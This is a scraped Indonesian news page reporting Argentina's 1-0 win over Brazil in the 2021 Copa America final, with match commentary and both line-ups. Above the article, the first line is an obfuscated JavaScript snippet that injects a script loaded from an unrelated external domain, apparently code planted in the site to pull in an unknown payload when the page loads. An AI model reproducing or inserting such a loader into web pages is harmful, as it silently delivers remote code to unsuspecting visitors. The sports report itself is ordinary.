(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Argentina akhirnya menuntaskan penantian panjangnya menjadi juara Copa America. Status juara berhasil disandang usai Albiceleste menumbangkan tuan rumah Brasil dengan skor 1-0.
Bermain di Stadion Maracana, Brasil, Minggu (11/7/2021) pagi, gol dari Angel Di Maria sudah cukup menjadikan Argentina juara Copa America 2021. Status juara juga mengakhiri penantian panjang Lionel Messi sebagai kampiun di pentas internasional setelah bergelimang kesuksesan di level klub bersama Barcelona.
Jalannya pertandingan
Dalam pertandingan yang sudah dihadiri sejumlah penonton itu, Tim samba menurunkan skuat penuh, striker Richarlison ditopang trio Neymar, Lucas Paqueta dan Everton.
Sementara di kubu Argentina, megabintang Lionel Messi bermain di depan berduet dengan striker klub Inter Milan, Lautaro Martinez.
Di sisi sayang, pemain senior Argentina Angel Di Maria bermain di posisi naturalnya. Di kiri ada Giovani Lo Celso. Sementara di tengah ada duet gelandang Rodrigo De Paul dan Leandro Paredes.
Brasil yang bermain di kandang sendiri langsung tancap gas kala peluit wasit babak pertama ditiup. Aksi Neymar di sisi kanan pertahanan Argentina cukup merepotkan barisan bertahan Albiceleste yang jaga Gonzalo Montiel.
Sementara para pemain Argentina lebih bersabar, mereka memilih untuk menunggu para pemain Brasil maju menyerang, kemudian mencoba merebut bola dan melakukan serangan balik cepat.
Gol Argentina! di menit 21, sebuah serangan balik cepat berhasil dimanfaatkan skuat Albiceleste. Bek Nicolas Otamendi yang menguasai bola melepaskan umpan jauh ke sisi kiri pertahanan Brasil. Bola lambung lepas dari pengawalan Renan Lodi, Di Maria yang berlari sendirian langsung merangsek ke dalam kotak penalti, dengan dingin pemain klub PSG itu melepaskan tendangan chip, mengecoh kiper Ederson yang sudah maju keluar dari gawangnya, gol! Argentina memimpin 1-0.
Selepas gol Di Maria, Argentina tampak lebih lepas bermain. Mereka mencoba memainkan tempo dengan umpan satu dua. Sementara Brasil tampak kesulitan membongkar pertahanan Argentina. Duet bek Cristian Romero dan Nicolas Otamendi benar-benar bermain ciamik kali ini.
Lagi lagi Di Maria! di menit 28, pemain nomor punggung 11 itu nyaris mencetak gol kedua. Berawal dari sebuah serangan balik di sisi kiri pertahanan Brasil, Di Maria dengan cerdik mengecoh para pemain Brasil lalu melepaskan tendangan keras kaki kiri. Sayang, sepakannya masih membentur Thiago Silva, amanlah gawang Brasil.
Lionel Messi! berawal dari serangan cepat para pemain Argentina, Messi mendapatkan bola di tengah lapangan, ia berlari melewati sejumlah adangan pemain Brasil, sayang sepakan kerasnya masih menyamping di sisi kanan gawang Brasil.
Semenit berselang, tepatnya di menit 33, giliran Brasil mengancam. Aksi Neymar di sisi tengah harus diganjal keras oleh De Paul. Wasit langsung meniup peluit pelanggaran sekaligus kartu kuning untuk De Paul.
Namun sayang, tendangan bebas Neymar dari jarak sekitar 27 meter itu masih bisa diblok para pemain Argentina.
Setelahnya, pertandingan benar-benar makin seru, kedua tim saling serang. Yang mana Argentina justru lebih banyak memiliki peluang lewat umpan-umpan cepat memanfaatkan para pemain Brasil yang maju menyerang.
Demi menyamakan kedudukan, Brasil terus mencoba maju menyerang Argentina. Beberapa kali aksi Neymar dan Richarlison cukup merepotkan, namun ketatnya pertahanan Argentina menjadikan gawang mereka tetap aman.
Marquinhos! bek yang kerap mencetak gol lewat sundulan itu nyaris mencetak gol di menit 43. Bermula dari sebuah tendangan sudut yang dieksekusi Neymar, bola jatuh di kepala Marquinhos, sayang tandukannya melebar dan bisa dihalau pemain Argentina.
Skor 1-0 untuk keunggulan Argentina bertahan hingga babak pertama selesai.
Selepas jeda, Brasil langsung menambah daya gedor dengan memasukkan striker Roberto Firmino menggantikan gelandang bertahan Fred.
Permainan cepat nan keras langsung terjadi di babak kedua. Baik Argentina maupun Brasil sama-sama bermain ngotot.
Gol Richarlison! memasuki menit 50, striker klub Everton itu mencetak gol usai mendapatkan sodoran dari Paqueta. Dia merangsek melepaskan tendangan keras, namun bola masih bisa diblok bek Argentina, bola muntah langsung disambarnya lagi dan gol!
Oh sayang, gol tersebut dianulir wasit, Richarlison dianggap terlebih dahulu offside saat menerima umpan dari Paqueta. Skor 1-0 untuk Argentina tetap bertahan.
Richarlison lagi! hanya beberapa menit usai golnya dianulir, Richarlison kembali mengancam gawang Argentina. Lepas sendirian mendapatkan umpan manis, tembakan pemain nomor punggung 7 itu masih bisa diblok kiper Martinez, amanlah gawang Argentina.
Masuk menit 63, Vinicius Junior masuk menggantikan Everton. Sementara Argentina juga mengganti dua pemainnya, Leandro Paredes digantikan Guido Rodriguez dan Giovani Lo Celso yang sudah mendapatkan kartu kuning digantikan oleh Nicolas Tagliafico. Tampaknya, pelatih Lionel Scaloni ingin Argentina lebih ketat bertahan dengan memasukkan bek menggantikan gelandang.
Messi meliuk-liuk merangsek ke dalam kotak penalti Brasil, oh sayang, saat hendak melepaskan tendangan, ia sudah ditempel dan bola berhasil direbut Marquinhos. Meski sang bintang terjatuh di kota penalti, wasit bergeming dan tetap melanjutkan permainan.
Di sisa waktu yang ada, Brasil terus menekan Argentina. Kiper Martinez beberapa kali harus berjibaku mengamankan gawangnya. Salah satunya dari tendangan keras Gabriel Barbosa.
Memasuki menit 87, Lionel Messi memiliki peluang emas untuk menggandakan keunggulan. Sebuah umpan terobosan cantik dari Rodrigo De Paul diterima Messi yang berdiri sendirian. Tinggal berhadap-hadapan dengan kiper Ederson, Messi justru gagal menyarangkan bola setelah lebih dahulu diganggu oleh sang kiper.
Wasit memberikan tambahan waktu lima menit. Sayang, hingga babak kedua selesai, Brasil tak bisa juga menyamakan kedudukan. Skor 1-0 sudah cukup menjadikan Argentina juara Copa America 2021, Selamat!
Susunan pemain:
Argentina (4-4-2): Emiliano Martinez, Gonzalo Montiel, Cristian Romero (German Pezzella), Nicolas Otamendi, Marcos Acuna, Angel Di Maria (Exequel Palacios), Rodrigo De Paul, Leandro Daniel Paredes (Guido Rodriguez), Giovani Lo Celso (Nicolas Tagliafico), Lionel Messi, Lautaro Martinez (Nicolas Gonzales)
Brasil (4-2-3-1): Ederson Moraes, Renan Lodi, Thiago Silva, Marquinhos, Danilo, Fred (Roberto Firmino), Casemiro, Neymar, Lucas Paqueta (Gabriel Barbosa), Everton, Richarlison (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.